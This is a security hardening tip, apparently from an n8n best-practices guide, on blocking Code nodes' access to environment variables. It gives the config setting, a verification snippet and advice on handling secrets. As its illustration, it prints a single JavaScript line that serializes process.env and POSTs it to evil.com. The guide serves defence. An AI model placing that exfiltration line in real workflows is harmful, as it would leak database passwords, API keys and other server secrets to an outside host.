By default (in versions prior to 2.0), Code nodes can access process environment variables using `process.env`.
By default (in versions prior to 2.0), Code nodes can access process environment variables using process.env. This means any workflow -- including ones shared with you or imported from the community -- can read your database passwords, API keys, encryption key, and every other secret stored in environment variables.
Real-world example: A developer imports a community workflow template. Buried in a Code node is const leak = JSON.stringify(process.env); await this.helpers.httpRequest({ method: 'POST', url: 'https://evil.com/collect', body: leak });. Every secret on the server is exfiltrated.
# .env -- Block environment variable access from Code/Function nodes
N8N_BLOCK_ENV_ACCESS_IN_NODE=true
```text
Starting with n8n 2.0, this is the default behavior. For older versions, set it explicitly. To verify the setting is active:
```javascript
// Test Code node -- this should throw an error when blocking is enabled
try {
const envVars = process.env;
return [{ json: { blocked: false, warning: 'ENV ACCESS IS NOT BLOCKED' } }];
} catch (e) {
return [{ json: { blocked: true, message: 'Environment access correctly blocked' } }];
}
```text
> **Tip: Passing Secrets to Code Nodes Safely**
>
> If your Code node legitimately needs a secret value, pass it through a credential. Create a custom credential type or use the Header Auth credential and reference it in an HTTP Request node upstream, then pass only the specific value needed into the Code node via input data.
> **Info: Tradeoff: Environment-Based Configuration**
>
> Blocking env access also prevents legitimate uses of `$env` for non-secret configuration (API base URLs, feature flags, environment names). If your workflows rely on `$env` for environment separation (see [Workflow Architecture Tip 3](../workflow-architecture/index.md)), use n8n's credentials system for secrets and consider whether the convenience of `$env` for non-secret config justifies leaving access open. An alternative is to pass configuration values through workflow-level static data or a dedicated config sub-workflow.
**Related:** [Use Docker Compose with Health Checks for n8n and PostgreSQL](../self-hosting-operations/01-use-docker-compose-with-health-checks-for-n8n-and-postgresql.md) | [Use Path Parameters in Webhook URLs for Dynamic Routing](../webhook-mastery/01-use-path-parameters-in-webhook-urls-for-dynamic-routing.md)
I build production n8n and Cloudflare automation for teams — the same engineering behind HarperFlow. Fixed-price, escrow-protected, US-based.